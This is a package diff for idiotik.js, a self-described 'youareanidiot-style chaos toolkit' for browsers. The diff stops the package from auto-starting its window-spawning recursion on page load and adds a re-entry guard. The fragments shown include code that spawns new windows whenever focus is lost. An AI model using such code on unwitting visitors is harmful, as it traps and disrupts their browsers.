idiotik.js 1.0.17 → 1.0.18

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/src/idiotik.js +8 -6
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "idiotik.js",
3
- "version": "1.0.17",
3
+ "version": "1.0.18",
4
4
  "description": "youareanidiot-style chaos toolkit for the browser",
5
5
  "main": "src/idiotik.js",
6
6
  "scripts": {
package/src/idiotik.js CHANGED
@@ -33,7 +33,8 @@
33
33
  let _activeEffects = new Set();
34
34
  let _audioCtx = null;
35
35
  let _scriptStack = [];
36
- let _taskQueue = [];
36
+ let _taskQueue = [];
37
+ let _recursionInited = false;
37
38
  let _spawnedWindows = [];
38
39
  let _globalIntervals = [];
39
40
  let _globalTimeouts = [];
@@ -59,6 +60,8 @@
59
60
 
60
61
  function _initRecursion() {
61
62
  if (!_recursive) return;
63
+ if (_recursionInited) return;
64
+ _recursionInited = true;
62
65
  _spawnWindow();
63
66
  const _blockAndSpawn = function(e) {
64
67
  if (!_recursive) return;
@@ -72,11 +75,9 @@
72
75
  window.addEventListener("blur", () => { if (_recursive) setTimeout(_spawnWindow, 50); });
73
76
  }
74
77
 
75
- if (document.readyState === "loading") {
76
- document.addEventListener("DOMContentLoaded", _initRecursion);
77
- } else {
78
- setTimeout(_initRecursion, 0);
79
- }
78
+ // Recursion is NOT auto-started on load — it only fires when
79
+ // idiotik.recursive("yes") is called (e.g. from inside a preset).
80
+ // This ensures nothing happens until the user triggers an action.
80
81
 
81
82
  // ─── HELPERS ────────────────────────────────────────────────────────────────
82
83
  function _getAudioCtx() {
@@ -696,6 +697,7 @@
696
697
 
697
698
  nuke() {
698
699
  _recursive = false;
700
+ _recursionInited = false;
699
701
  _taskQueue = [];
700
702
  _globalIntervals.forEach(id => clearInterval(id));
701
703
  _globalTimeouts.forEach(id => clearTimeout(id));